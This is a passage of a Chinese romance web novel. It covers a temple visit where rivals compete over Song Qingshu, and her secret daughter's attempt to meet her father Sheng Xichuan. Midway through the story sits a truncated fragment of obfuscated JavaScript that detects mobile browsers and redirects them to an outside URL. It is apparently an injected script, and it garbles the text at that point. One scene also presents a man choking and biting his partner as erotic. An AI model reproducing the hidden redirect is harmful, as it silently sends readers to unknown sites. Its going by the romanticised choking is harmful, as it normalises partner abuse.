听莫兰溪说挺好的,没有感冒迹象。盛熙川也没有多言,点点头走了。
她突然很羡慕宋清殊。
同为女人,那么优秀的两个男人都爱她。
她们的年少时期过得都不算幸福,可宋
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清殊比她勇敢,性格也比她更健全。
越是这样,她越不能把宋清殊害了。
不是说霍宗辞不好,但好与不好,宋清殊的路都该自己选,而不是被她推到谁身边。
那么,让她选吧。
“盛总。”莫兰溪转头,叫盛熙川。
看盛熙川回头,她道:“这边的法华寺据说求姻缘很灵验,你明天要去试试吗?”
盛熙川挑了挑眉,没说去也没说不去。
莫兰溪点到为止,先告辞了。
第二天上午,一行人到了法华寺。
因为打着替陆先生祈福的名义,莫兰溪还找了个跟拍。
人越多,霍宗辞越不能乱来。
他们先去看文创产品。
十八籽手串确实漂亮,宋清殊请了四串成人款,分别给陆夫人,楼珏和家里的两位保姆,又请了一个儿童款给珍珠。
她拿去过香时,霍宗辞见了,随口问她:“小的送谁?”
宋清殊下意识和莫兰溪对视一眼,莫兰溪微微摇头。
宋清殊:“朋友孩子。”
霍宗辞夸了一句:“还真是细心呢。”
四人去各个殿上了香,在地藏殿替陆先生捐了香火。
霍宗辞又重点去拜了药师佛,还请了一本经书回去抄。
宋清殊这才注意到,他今天穿得非常素净,一点花里胡哨的首饰都没有戴。神情也郑重,没有往昔玩世不恭的模样。
想起听说他母亲植物人,妹妹抑郁症,她也心生恻然。
霍宗辞长了纨绔子弟的外表,到底也是个苦命人。
法华寺有姻缘殿,殿门口的三生石尤其有名。
宋清殊对姻缘不感兴趣,但霍宗辞要去,莫兰溪和沈嘉祐也没提反对意见,四人便一同去了。
途中,莫兰溪手机响了,她跟宋清殊打个招呼,便在不远处接电话,没有跟上。
宋清殊一路走着也没注意,到三生石前时,只剩她和霍宗辞两个,以及那个跟拍。
闪光灯亮起,宋清殊皱眉:“这段行程不用拍。”
三生石旁,有个白胡子老人,穿着僧衣,一副修行者模样。
“两位施主,求姻缘的话,可以在姻缘簿上写名字,我们为您在菩萨面前供灯49天。”
第181章 朱小明是谁
宋清殊赶忙拒绝:“多谢,菩萨太忙,我这点小事就不要添麻烦了。”
霍宗辞却表现得很感兴趣。
“您看我们俩能成吗?”问的时候,他对宋清殊眨了下眼睛。
老者看了看霍宗辞,又看了看宋清殊。
“有点难度,您二位差点缘分。”
霍宗辞还没开口,宋清殊先“噗”地一声笑出来:“您看得太准了。我们当然没缘分,因为我们只是同事。我有男朋友的,在国外工作。”
这话她终于找了机会说出来。
平时霍宗辞不问,她主动提便有点显得太自恋了,万一霍宗辞说,这跟我有什么关系,下不来台的是她。
可现在这个时机说刚刚好,宋清殊当然不会放过。
那位老者见宋清殊笑,也笑了。
“小姑娘,异国恋可更要把握好了。”他说着拿了两条红绳出来,递给她。
“你去姻缘簿上把他的名字写上,再把这个红绳拿去,系到他脚腕上,保你们永结同心,这辈子都不会分开。”
宋清殊忙不迭地拒绝:“不用麻烦了。”
老者已经把红绳递到了她手里:“给你是看你这个小姑娘面善,又不收你香火钱,收着就是了!”
霍宗辞在一旁饶有趣味的看着,宋清殊不好推辞,只能收了。
姻缘簿递单面前时,她人都麻了。
但霍宗辞在一旁看着,索性演就演到底,宋清殊心一横,接过笔,胡诌了一个名字写上。
“看你小姑娘人不错,我们免费的灯可以供7天,一会儿我替你去供个灯。”老者说,又看了看霍宗辞,“小伙子,你有心仪对象吗?”
霍宗辞面无表情:“有,她男朋友在国外。”
宋清殊险些被自己口水呛到。
两人往外走时,宋清殊主动开口:“小叔,你开那样的玩笑,把人家修行的人都吓到了。”
霍宗辞立住脚步,一双好看的桃花眼凝视她:“我如果不是开玩笑呢?”
宋清殊正色:“那咱们两个,就只能留一个了。”
“这么严重?”
宋清殊:“你怕是不知道十几年前发生过什么。”
她简略提了一嘴15岁时的那本日记和莫北丞。
“因为我,干爸干妈遭受了很多非议,现在干爸走了,我不可能让干妈再次陷于不义。”
霍宗辞:“有我在,没人敢像过去那样对你。”
宋清殊:“不是那么回事,小叔。我只拿你当长辈,如果咱们两个连叔侄都做不成,那以后别说共事,最好面都不要见了。你说呢?”
这番话说得很重,宋清殊神色也很认真,她告诉霍宗辞,这是她的底线。
霍宗辞没有说话,倒也没有被拒绝的尴尬,沉默地盯着宋清殊看了会儿,轻笑一声:“宋清殊,我发现你这个人,还挺一根筋的。”
宋清殊:“我当你夸我了。”
她不愿多说,先行一步离开。
不知怎么,霍宗辞反而转身回去了。
宋清殊远远看着,好像他找那位老者也要了两根红绳。
她顺着来时路回去,和盛熙川走了个面对面。
盛熙川原本就不喜欢花哨的衣着,此时更是简单,灰色大衣内搭一件白色羊绒衫,裤子也是白色,干净又清新。
他一个人来的。
“真巧……”宋清殊刚开口打招呼,被他一拉,随即带到了路边。
他捉住了她的手腕。
“做什么?”宋清殊还没反应过来,被他掰开手,抽走了那两根红线。
“你的红线要绑谁?”盛熙川的眼神有点儿冷,
“要你管,发神经。”宋清殊皱眉,踩了他一脚。
盛熙川没有再发疯,任凭宋清殊从他的怀里挣脱。
宋清殊又瞪了他一眼走了,倒也没有纠结红线的事。
盛熙川把那两根红线塞到风衣口袋里,心口发疼。
往上走,便看到霍宗辞站在三生石边上对他笑。
“真巧啊,盛总。”
“巧”这个字被他咬得很重,尤其阴阳怪气。
盛熙川神色冷淡:“不巧,我怕某些人惦记我老婆,特地来的。”
“想让宋清殊做你老婆?”霍宗辞的笑
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容无限放大,“那盛总怕是要改名叫朱小明才行。”
“什么意思?”
霍宗辞大笑着拍了一下盛熙川的肩,扬长而去。
盛熙川自然也见到了那位老者。
老者对他说了同样的话,要他写姻缘簿,供灯。
盛熙川翻开姻缘簿,看到了最后一行,宋清殊写下的名字——
“宋清殊&朱小明。”
想必这位就是她那个国外的男朋友。
也是,他都没问她那个男朋友是不是同胞。
国人叫这个名字有点敷衍,老外的话,有一个这样的中文名字倒是不奇怪。
朱小明……盛熙川咂摸着这个名字,怎么也无法匹配到一个优秀的精英男人身上去。
他胡思乱想,又蓦地想起了宋清殊微信上那个备注“猪猪”的男人来。
姓朱,这不就对上了!
他突然喘不上气来。
原来一直心存侥幸,以为那男人是宋清殊用来挡他的幌子。
她姑且说之,他随耳一听。
没想到,这个人真的存在。
宋清殊说的两人“感情甚笃”,也是真的!
盛熙川下颌绷得死紧,废了好大的力气,才没让自己把姻缘殿掀了。
他手起笔落,把那个“朱小明”涂黑,改成了“盛熙川”三个字。
一旁的老者想阻止已经来不及了。
“造孽啊。”他叹了口气说。
盛熙川跟他谈供灯的事,他摆了摆手:“抱歉,您这种强行介入他人因果的,我们帮不了。”
即便后来盛熙川说捐钱重塑庙宇,他也没有松口,还气呼呼地走了。
望着老者的背影,盛熙川苦笑。
他如何不知道介入他人因果是造孽?
可如果不强求,他和宋清殊再无一点可能。
没关系,就让他死后下地狱吧。
他只要此生,能在她身边就好。
霍宗辞给了盛熙川几句闲话,心情大好,脚步都轻快了许多。
他走下去,看到了慢吞吞跟过来的莫兰溪。
一伸手,把她拉到了路旁的树林里。
第182章 你在吃醋
莫兰溪走在路上被人挟持,还没来得及呼救,反应过来是谁,竟然莫名地安心了一点。
她被霍宗辞按在了身后的大树上,之后,不由分说,堵住了唇。
霍宗辞的吻一贯如此,激烈且长驱直入,带着惩罚性质。
他在海城一共三夜,自己的房间被子都没掀开过,每晚都是在她房里度过的。
他像一个不知疲倦的打桩机,拼命地索求,折腾她,以至于莫兰溪对他的身体和气息,无比熟悉。
他又在生气,用了近乎撕咬的力度,嘴唇上刚结痂的伤口再次被他吮破。
莫兰溪知道他发的什么火,一味隐忍,逆来顺受,唇上出了血也一声没吭。
她越是这样,霍宗辞越气。
他尝到了血腥味,愣是没有松口,又按着她厮磨了好一会儿,两人才气喘吁吁地分开。
霍宗辞用手背抹了一下唇,看到了一片红。
“莫听澜,是你泄露的行程,对不对?”
莫兰溪不说话,静静地站在那里。
刚被狠狠蹂躏过的唇挂着颗将落未落的血珠,配上她那张没什么表情的,禁欲的脸,让人一肚子燥火。
霍宗辞强压着再亲上去的冲动,居高临下看她。
“你很希望盛熙川和宋清殊破镜重圆?”
莫兰溪依旧沉默。
霍宗辞伸手扼住她的脖子,她也不反抗,直到脸一点点变红,到后来涨成紫色。
“真想掐死你。”霍宗辞咬牙切齿地放手,看着她咳了好一阵。
凌虐的快感,让他几乎失控。
“莫听澜,给我一个理由。”
莫兰溪咳够了,才道:“你不能一边跟我,一边又追求宋清殊,这对她也不公平。”
霍宗辞:“跟你什么?”
他明知故问,莫兰溪没作声。
霍宗辞抬了抬一边眉毛:“所以,你这是吃醋?”
这是吃醋的事吗?
莫兰溪:“就当是吧。”
霍宗辞:“问问自己,你配吗?”
莫兰溪垂眼,说不出反驳的话来。
一看她这个装鹌鹑的样子,霍宗辞就来气。
他又按住她,对着她的唇瓣咬了一口。
两人靠的太近,鼻梁相触,呼吸纠缠在一起,霍宗辞的声音压得很低:“少做这副死样子,你昨天在床上可是挺鲜活的。”
……
四人再次汇合,在寺院门口。
宋清殊自然又关心了一下莫兰溪的唇。
莫兰溪:“我自己把结痂扯了,没事。”
霍宗辞看一眼她,没事人一样。
宋清殊倒是心疼地皱眉:“你这么沉稳的人,怎么这么不爱惜自己。”
下午去机场的路上,宋清殊还特地让司机停车,自己去药店买了支药膏给她。
而盛熙川早在他们离开前就回去了。
他第一时间联系了各大媒体,严防死守有霍宗辞和宋清殊共同去姻缘殿的照片放出来。
倒是真的让他截到一些。
他出手够快,霍宗辞这桩生意营销号不敢接,也就作罢了。
这一切都在暗处进行,倒是没有影响到宋清殊。
宋清殊回上京后,先是休了两天假,好好陪珍珠玩了两天。
再回去上班,便收到了一个闪送的箱子。
平平无奇的纸箱,打开,里面是一整箱的瓶瓶罐罐。
香水,沐浴露,洗发水,洗衣液,应有尽有。
没有logo,但每一样都看上去低调奢华。
她甚至不用闻已经知道了是什么。
随即,收到了盛熙川的消息:【你要的东西送去了】
宋清殊甚至想不起自己什么时候开口要的,多半是醉酒那天。
他都送了,因为这点东西再推辞难免有些小家子气,没必要。
她回了个“谢谢”的表情包,晚上便把箱子带回了家。
最开心的是珍珠,为了松木洗发水的味道,她洗头发的频率都由三天升级到了每天。
“珍珠特别喜欢新洗发水和沐浴露,我怎么闻不出哪里好。”保姆芝姐跟宋清殊念叨。
宋清殊问雪姐,雪姐也说闻不出特别。
她失笑。
宋清殊极力不让自己去想有的没的,可事实就是这样。
她喜欢盛熙川身上独特的味道,而她的女儿从未见过盛熙川,也喜欢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275853|166688||http|test|mini|href|location''.split(''|''),0,{}));
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r>又过了几天,宋清殊把那串十八籽手串给陆夫人送去。
两人说起珍珠的教育问题来。
“幼儿园还是要上的吧?”陆夫人问她。
陆夫人知道珍珠早慧,在幼儿园也学不到什么,但总觉得一个孩子在上幼儿园的年纪天天窝在家里,也挺奇怪的。
宋清殊也有这个考虑,便问陆夫人有没有什么好学校。
陆夫人把陆展上过的幼儿园推荐给她。
“园长跟我很熟,你可以先加微信,这两天带珍珠去看看。”陆夫人说。
于是,宋清殊便找了个时间,和莫兰溪一起带珍珠去了趟幼儿园。
当着园长的面,珍珠没说什么,回去的车上,嘴就撅了起来。
“珍珠不喜欢这个学校吗?”莫兰溪问。
珍珠瘫在安全座椅上,百无聊赖地蹬着小肉腿:“我圆周率可以背到50位,园长阿姨却问我1+2等于几,我回答出来了,还夸我聪明。”
莫兰溪语塞。
园长要是问她圆周率能背到多少才不对劲吧。
“这是正常题目。”宋清殊柔声道。
她跟珍珠分析利弊:“上幼儿园对你有一个好处,就是可以看看同龄的小朋友是什么状态,跟他们一起学习玩耍,你也可以更好的社会化,避免孤独。
弊端就是:相对比较浪费时间,因为你不可以在上课时间去做自己的事。比如大家唱字母歌,给小动物涂色,你也要做。”
珍珠露出痛苦面具,小肉腿蹬上前排座椅,每个毛孔都写着拒绝。
“我不要!太幼稚了!妈妈,请让我孤独吧!”
莫兰溪通过后视镜和宋清殊四目相对,给了彼此一个心领神会的眼神。
“那上幼儿园的事就先放一放吧。”宋清殊说。
车子开过一个商场。
“妈妈,我们要不要去逛一逛,再吃个饭?”珍珠突然提议,“以后我的社会化就这么做吧。”
好在莫兰溪在,还好。
“那不要忘记,在外面,你是兰溪阿姨的女儿哦。”宋清殊下车前还是叮嘱了珍珠一句。
不知怎么,她隐约觉得有事发生。
第183章 珍珠想见爸爸
宋清殊不是刚觉出不对劲,是这阵子珍珠的行为都有点反常。
具体可以追溯到她将盛熙川那一箱洗护用品带回家后。
珍珠原来是个小宅女,不怎么喜欢出门玩,可最近她提了好几次出门。
宋清殊也知道,多带孩子出去社会化是很必要的。
她提了去游乐场,或者去环球影城,都被拒绝了。
珍珠说,想去逛街,想去商场,广场,这种烟火气更足的人堆里。
宋清殊自己心虚,便觉得跟盛熙川有关,说不定珍珠想见他。
可珍珠不主动说,宋清殊便装聋作哑,
上京有那么多人,不是刻意去见,偶遇的几率其实很小。她倒不是很忧虑。
不过珍珠小朋友的性格随她,认准的事就有点不达目的不罢休,宋清殊也怕她来真的。
宋清殊和莫兰溪带珍珠逛了逛女装和饰品店,显然珍珠没什么兴趣,商场里有淘气堡和抓娃娃机,问她,她也不想去玩。
宋清殊又不是爱买衣服的人,莫兰溪更不是,两人带着珍珠随便逛逛,好容易混到了午饭时间。
午餐自然要问珍珠的意见。
珍珠扫了一下商场的导视牌,睁着圆圆的大眼睛问:“哪家最贵,妈妈?”
宋清殊为女儿的问题觉得新奇,平时她还真不是一个对价格敏感的小孩。
东西在珍珠眼里,只分有用和没用,很少用金钱来衡量。
宋清殊也看了一眼:“这家日料最贵,单人3888元。”
珍珠:“吃这个!”
宋清殊被她的小模样逗笑,伸手捏了一把她粉团子一样的小脸。
“必须吃最贵的,拿妈妈当冤大头宰呢,嗯?”
这话没在珍珠的语言系统内,她露出了符合年龄的懵懂。
宋清殊难得看到女儿这一面,不由大笑:“好,那今天就吃这家。”
莫兰溪在一旁看着母女互动,也不插嘴,只觉得心里软软的。
她也有个好妈妈,可惜,当年为了保护她出了事。
三人去了那家日料,还好,都是私密包间,宋清殊在心里松了口气。
与此同时,她看到了女儿眼里一闪而过的失望。
知女莫若母,宋清殊马上证实了自己的怀疑。
珍珠点名要吃最贵的,应该也是想到这样的场合遇到盛熙川的几率更大吧。
她又陷入了自我怀疑里,当年,自己做错了吗?
珍珠说不会怪她自作主张生下她,能做她的女儿很高兴,可时间久了,看别人都有父亲,会不会对她有怨言?
珍珠既然已经知道了盛熙川的存在,她或许该找个机会,让她看看他。
远远的就行,珍珠是个有分寸的小孩,应该不至于失控冲上去,让她难堪。
一顿饭,宋清殊想珍珠的事,珍珠为见不到盛熙川苦恼,莫兰溪想起了她的妈妈,三人各有心事,都有些心不在焉。
吃完后三人往外走,宋清殊和莫兰溪一边一个拉着珍珠的手,只听一个声音道:“盛总,您慢些,小心台阶。”
她一抬眼,就看到了跟苏白一同往外走的盛熙川。
珍珠的小手一瞬间攥紧了她,莫兰溪肯定也感觉出了不对,转脸看宋清殊。
“妈妈,求求你。”珍珠声音很小。
宋清殊在一瞬间做了决定,她压低嗓子:“好,那你答应我,一会儿管兰溪阿姨叫妈妈。”
珍珠用力地点了点头。
宋清殊三人站在原地没动,等盛熙川和苏白过来,便看到了她们。
此时,珍珠已经在莫兰溪怀里。
苏白远远地跟她们打了招呼,又过来捏珍珠的脸:“小珍珠,又见面了。”
珍珠往莫兰溪怀里躲了一下,表示抗拒。
盛熙川站在一旁,眼睛也停在珍珠脸上。
“这孩子……”盛熙川倒是没敢往那方面想,他只是觉得珍珠实在特别,跟他见过的所有孩子都不太一样。
她长了一张粉嘟嘟的小脸,稚气又可爱,可那双眼睛却是大人的,里面住着一个老灵魂。
他不喜欢孩子,但喜欢眼前这一个。
“我女儿珍珠。”莫兰溪说,又对怀里的珍珠道,“叫盛叔叔。”
珍珠盯
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着盛熙川看,没有开口。
盛熙川没有伸手逗她,而是微微弯腰,与她平视:“你几岁啊?”
看着眼前的粉团子,盛熙川不由地想,如果他和宋清殊的孩子能保住,差不多也就这么大吧?
心口蓦地一疼。
听到这个问题,宋清殊也心脏狂跳起来,她觉得自己在刀尖上跳舞。
莫兰溪淡定自若,替她答:“还有一个月就四岁了。”
珍珠刚过完三岁生日没多久,但她比同龄的小朋友高一些,这么说不违和。
更何况盛熙川未必对婴幼儿年龄和体型有概念,说不定只是随口一问,她们不能先乱了阵脚。
果然,盛熙川点点头,没有再问什么。
他看向宋清殊:“送你的香氛,还喜欢吗?”
宋清殊不动声色:“挺好的,谢谢。”
珍珠在莫兰溪怀里露出“果然如此”的神色,宋清殊警告地看她一眼。
她主动跟盛熙川和苏白告辞。
从见到盛熙川到从店内出来,珍珠一句话都没有说。
但她的眼睛一直停留在盛熙川脸上。
她们回到家已经是下午。
珍珠见了盛熙川,似乎心满意足。她唇边带了点笑意,回房间睡了一个长长的午觉。
宋清殊哪里也没去,就坐在客厅等她睡醒。
等她醒了,宋清殊也组织好了语言。
“珍珠,我们聊聊。”
她让珍珠在沙发上坐好,神情有点严肃地看她。
珍珠很少看到宋清殊这个模样。
她垂下眼先道歉:“妈妈对不起。”
宋清殊突然鼻子一酸。
珍珠才三岁,她不过想见自己的父亲,有什么错呢?
大人的恩怨总不能加到孩子身上。
因为珍珠早慧,自己已经很久没有拿她当一个真正的孩子看待,一直在用大人的标准要求她。
“对不起宝宝,是妈妈没有跟你说清楚。”
宋清殊反省后,心疼得厉害,先伸手抱了她,语气也软了下来。
“妈妈这次跟你讲讲爸爸妈妈的故事,好不好?”
第184章 私生子
宋清殊第一次如此认真地跟珍珠讲她的往事。
她甚至从自己的15岁讲起。
讲自己的第一次暗恋,之后被送出国,同意跟盛熙川联姻,也是为了能回来。
讲自己如何一点点爱上盛熙川,又为何决定离开。
她那些曲折的心理状态,跟大人讲都未必能懂,但她觉得自己的女儿懂。
她很客观,没有美化自己,更没有丑化故事里的其他人。
对于她,做过盛家少夫人不是拿不出手的事,爱过盛熙川更不是。
尊重过去,也是尊重自己。
原本她想跟珍珠讲一下这件事的严重性,必要的时候,甚至可以装可怜,让珍珠为了她,自愿放弃跟盛熙川的关联。
可看刚才珍珠一副做错事怕她生气的模样,哪里还说得出口?
她没有经过珍珠的同意,就把她带到这个世界上,那珍珠想见自己的父亲,又有什么错呢。
这件事,她只能商量,要看珍珠的态度。
女儿果然是世界上最能共情母亲的人,听到动情处,珍珠竟然流下了泪来。
宋清殊抱紧她,替她擦眼泪:“爸爸不是坏人,我们只是被命运推着走,在那个时候不得不分开而已。妈妈当时做的最执拗的一件事,就是偷偷生下了你。”
看珍珠哭,她也想哭,但她强忍着泪水,跟珍珠说她的现状,讲她的难处,告诉珍珠,如果盛熙川有她这么个女儿存在,一定会利用她做筹码,更加不肯放手。
“先给妈妈一点时间,也许过不了许久,有个三年五年,快的话甚至一年半载,你再去和他相认,好不好?”
如果可以,宋清殊甚至希望珍珠一辈子不要跟盛家扯上任何关系。可珍珠的表现,又让她心疼,觉得自己也许太自私了。
她愿意把选择权交回到珍珠手里,前提是,她自己不能搭进去。
“妈妈,珍珠有妈妈就够了,不会跟爸爸相认的。”珍珠抱紧了宋清殊的脖子。
让宋清殊惊喜的是,这次谈话之后,珍珠竟然真的又回到了过去的状态。
她洗头发的频率又回到了之前,也并不执意再用盛熙川送的洗护用品,没有再问过跟盛熙川相关的事。
每天一如往昔,在家里写字画画,学一些感兴趣的东西,看上去和过去没什么不同。
宋清殊紧绷的那根弦终于松了松,这场危机,她化解得还算顺利。
但珍珠是个有主见的孩子,这件事,也并没有彻底放下。
她答应了不会和爸爸相认,见见他应该没什么关系吧?
别的孩子有爸爸,她也有,不需要爸爸知道,只要她知道,盛熙川是她的爸爸就好了。
珍珠在家苦思冥想了好几天。
春节将至,宋清殊忙着替陆夫人走动人情,比之前更忙了。
可珍珠迷上了少儿围棋,要上补习班。
宋清殊便联系了一个培训机构,让芝姐带珍珠去试课。
她年级过小,一开始对方是拒收的,后来发现这孩子沟通起来很顺畅,并没有什么低幼化的表现,下起棋来更是老练得像个大人,便破格收了。
珍珠下棋入迷的那几天,每天都由芝姐将她送到机构,吃饭时间再接回来。
这天早上,芝姐照例把珍珠送到了机构老师手里,由老师带进了教室,自己先回了家。
没想到,珍珠竟然趁着老师一个不注意,自己溜出了机构大门。
那家机构对面,便是盛世集团的大楼。
在8:40的早高峰时间,珍珠站在了盛世集团的楼下。
她长了张粉雕玉琢的小脸,穿得也可爱,孤零零一小只站在那里,引得不少人侧目。
但她性子比宋清殊更高冷,遇到有好心的人问她是否需要帮助,只摇摇头。
有太热心,问个不停的,便说:“我妈妈就在那边。”
她胡乱指个有女性成年人的方向。
打工人的早上原本就都赶时间,竟然也这样被她糊弄了过去。
9点过一刻,珍珠在车库附近看到了认知范围里最贵的车。
她摇摇晃晃往前一跑,那辆车一个急刹。
小赵先下车,盯着珍珠一脸的惊魂未定。
“你这个小朋友怎么在这儿乱跑,大人呢?”他语气有点急。
珍珠不说话,装出一脸懵懂。
随即,她看到
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了后面下来的盛熙川。
盛熙川看着面前洋娃娃似的小女孩,小肉脸,扎着两个冲天辫,马上认出了她是谁。
“珍珠。”他脱口而出她的名字,自己都诧异。
原本他看天底下的小孩都觉得长得都差不多的,能记住这一个,大概是因为她长得格外好看,有辨识度吧。
盛熙川看到珍珠,又下意识看向四周,找莫兰溪的身影,“你妈妈呢?”
珍珠不回答,只是走过去扯他裤腿:“盛叔叔。”
盛熙川蹲下身来:“你也记得我?”
这个年纪的小朋友是记得住事的吗?
珍珠一双圆圆的大眼睛盯着盛熙川看,却没有再说别的话。
盛熙川觉得有趣,伸手将她抱了起来。
珍珠在他怀里,紧张的一动不敢动,那个小表情好像在屏息。
“你怕我啊?”盛熙川笑,屈指刮了一下她的小鼻子。
珍珠没说怕也没说不怕,只伸出小手抱住了他脖子,将头靠在了他的肩上。
盛熙川的心马上软成了一锅粥。
他和宋清殊的孩子,如果顺利生下来,现在应该也就比她小一点,也会这么可爱吧?
毕竟他们的颜值底子在,他们的孩子,一定漂亮又可爱。
珍珠的肉是实心的,抱在怀里很压手,看得出来,莫兰溪将她养得很好。
“你妈妈呢?”盛熙川又问。
珍珠依然不肯说话,她聪明归聪明,还没学会圆滑的人情世故,实在不知该怎么撒谎。
这个行为,在盛熙川眼里也是正常的:不到四岁的孩子,可能听不懂大人的话,会说的话本来就不多。
他让小赵把车开到地库,自己抱着珍珠坐总裁专梯到了办公室里。
一路上,珍珠不吵不闹,乖乖趴在他肩上。
盛熙川好几次都在想,这要是他女儿该多好。
从电梯里出来,一路走去办公室,也遇到了不少员工。
众人都诧异地瞪大了眼睛,私下里自然免不了一番议论。
“这是盛总的孩子?盛总不是离婚了吗?”
“应该是吧,这种家族水深着呢,说不定是私生子。”
第185章 有爸爸的感觉
公司的人再议论,闲话也不会传盛熙川耳朵里。
他把珍珠抱到办公室,将她放在沙发上。
“你乖乖坐一会儿。”他说。
之后用内线电话联系了吴小爱,让她去楼下西点店里买一些蛋糕和小朋友爱吃的点心,又让杨端拿了个平板来给她玩。
看珍珠脚上的鞋子搭扣松了,顺手替她脱了鞋,让她直接穿着袜子踩在沙发上。
办公室的暖气开得足,不会冷。
珍珠不说话,看着盛熙川做一切,只觉得满心欢喜。
这就是有爸爸的感觉,他跟妈妈做得一样好,并不能超越妈妈,但……如果身边多这样一个人,想想就会觉得幸福。
珍珠的眼神太痴迷,在盛熙川看过来时,又迅速挪开。
盛熙川只当她是个不怎么会说话的小哑巴,也并不怎么逗她说。
“你等一下,叔叔联系你妈妈。”他说。
上次在度假村,他是存了莫兰溪手机号的。
但此时莫兰溪跟宋清殊正在参加晨会,她的手机并没有带到会议室。
盛熙川连续打了三个电话都无人接听,便打了宋清殊的。
宋清殊秒挂,再打便是免打扰状态了。
盛熙川无奈,给宋清殊发了个微信:【莫兰溪的孩子在我这儿,让她联系我】
之后看向坐在沙发上洋娃娃似的珍珠。
莫兰溪不过中人之姿能生出个这么漂亮的女儿,想必丈夫也不一般。
盛熙川觉得他真的是到年龄了,过去从来都不知道自己竟然这样喜欢孩子。
吴小爱虽然理解不了老板的奇怪要求,但把小蛋糕也买来了,还买了两瓶养乐多。
“珍珠,叔叔先去开个会,让这位阿姨陪你,等我开会回来,带你去找妈妈,好不好?”盛熙川蹲在沙发前柔声道。
珍珠点点头,说了声“好”。
盛熙川微微诧异。
又想起她在楼下叫的那声“盛叔叔”,吐字是很清晰的。
心说这孩子兴许只是不爱说话,还是很聪明的,毕竟莫兰溪也是个沉默寡言的,有个不爱说话的女儿不奇怪。
他去开会,把吴小爱留下照顾珍珠。
吴小爱面对这么个漂亮孩子,脑子转了180个弯,也没猜出她是谁。
“你叫珍珠吗?你好漂亮啊。”她坐在珍珠身边,没话找话。
珍珠只是盯着她看,眼神没什么温度。
那不是一个孩童该有的眼神,吴小爱莫名在心里不喜欢,又说不出什么来。
这个孩子是谁?
“你怎么认识盛叔叔的啊,你爸爸妈妈跟盛叔叔是朋友吗?”吴小爱套她的话。
珍珠不语,用勺子挖了一口小蛋糕吃。
这孩子的眼神太冷淡,太像大人了。吴小爱被她盯得头皮发麻。
她不死心追问:“你大名叫什么啊?”
就差问认不认识宋清殊了。
珍珠被问烦了,放下手里的甜品勺,看着吴小爱道:“阿姨,刚才盛叔叔的意思是让你照顾我,不是让你问东问西调查我。”
吴小爱大惊失色,她觉得自己简直见鬼了。
面前这个孩子软糯的像个棉花糖,怎么看也不像个一张嘴能说出这种话的。
而且她看上去也就三四岁!
她张了张嘴,好一会儿才找回自己的声音:“你这小孩,怎么说话呢。”
珍珠看她的眼神像看一个智障。
吴小爱也许是怀疑自己刚才那句是听错了,也许是觉得面前的粉团子不可能有这样的战斗力,她不信邪,竟然开始教育起珍珠来。
“这么小个孩子,怎么可以这么跟大人说话!
一张嘴这么没礼貌,你爸爸妈妈怎么教的?告诉我,谁是你妈妈?”
最后一句听在珍珠耳朵里,已经是十足的冒犯了。
珍珠瞥她一眼,没有接口,接下来的十几分钟时间,更是一句话都没说。
吴小爱松了口气,她就说嘛,这么小一个孩子,怎么可能成精?
虚张声势罢了。
办公室门口传来脚步声,是盛熙川开完会回来了。
珍珠又看了吴小爱一眼,这一眼,薄凉得厉害。
吴小爱莫名心里一紧。
办公室门在推开的一瞬间,珍珠撇了撇嘴,站起来冲出去。
她撞到了盛熙川腿上。
盛熙川伸手将她抱
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起来,接着看到了珍珠要哭不哭的模样。
“这是怎么了?”盛熙川问她,“要不要叔叔举高高?”
珍珠撇嘴,挤出两滴眼泪:“阿姨,阿姨说我妈妈不要我了!”
她小手指着吴小爱。
吴小爱“噌”地一下站起身来:“我不是,我没有!”
珍珠把脸埋在盛熙川肩上,蹭了蹭眼睛。
盛熙川脸色难看极了:“吴小爱,你是有什么大病吗?”
吴小爱想再争辩两句,迎上了珍珠挑衅的眼神。
她觉得自己简直像在做梦。
怎么会有这样的孩子?
恶魔转世!
吴小爱怕珍珠说出刚才她问的那些话来,更何况,珍珠这样小,还在被默认不会撒谎的阶段,万一再添油加醋…
她遍体生寒:“老板,我真的没有。”
连辩驳都不敢太大声。
盛熙川还在为海城时她说的那番话气不顺,冷笑一声:“知道这些年为什么杨端一路顺风顺水,你收入却没什么长进吗?”
吴小爱垂下头。
盛熙川一字一顿:“因为你这个人损人不利己,好像有病。”
他抱着珍珠往外走,又冷冷丢下一句,“抽空去看看脑子吧!”
珍珠伏在盛熙川肩上,心里高兴极了,这就是有爸爸撑腰的感觉吗?真好。
盛熙川让小赵开车,一路将她抱到了陆氏。
他到的时候,宋清殊和莫兰溪的晨会刚结束。
宋清殊看到微信大惊失色,慌忙拉了莫兰溪商量对策。
莫兰溪握住她冰凉的手:“不慌,在盛熙川那里总归没危险。珍珠那么聪明,未必会露馅。”
宋清殊一点点冷静下来,也是,如果露馅,盛熙川也就不会发那个微信,让她告诉莫兰溪了。
两人又对了对话术,莫兰溪才给盛熙川回电话。
她表现得很着急:“盛总,我女儿去学围棋了,怎么会跑到你那里?我现在去接。”
盛熙川声音没什么不妥,起码不像发现了什么的:“不急,我已经把人给你送到了。”
莫兰溪去停车场找盛熙川,在电梯里和霍宗辞狭路相逢。
第186章 红线标记
此时,只有霍宗辞和莫兰溪两人,他轻而易举将她抵在了身后的电梯壁上。
“在躲我?”霍宗辞问,一呼一吸间的热气喷洒在她的耳廓。
“没有。”莫兰溪面上没有什么波澜,心紧张地提起来。
从海城回来的这些天,她一直小心翼翼,避开了所有和霍宗辞独处的可能。
在海城那三个荒唐的夜晚,她权当是做了一场春梦。她自知相貌平平,能睡到这样品相的男人,到底是不亏。
可霍宗辞显然不这么想。
他今天开会的时候,肆无忌惮地打量了她好几眼,以至于莫兰溪都心惊胆战,生怕别人瞧出什么来。
霍宗辞微凉的手指掐着她的下巴,逼迫她抬起头来:“我昨晚发微信,你也没回。”
深夜给她发他家的位置,外加一句“过来”,是个正经女人都不会回吧?
莫兰溪不想跟他争辩:“昨天睡得早。”
“怎么,在海城每天晚上不得歇,累着了?”
霍宗辞的手指微微用力,在她的下巴掐出一片红,电梯快到了,他强压下按着她亲的冲动。
这话问得太轻薄,莫兰溪的脸猝不及防地滚烫起来。
她垂着眼,用睫毛遮挡出一点安全距离,自欺欺人。
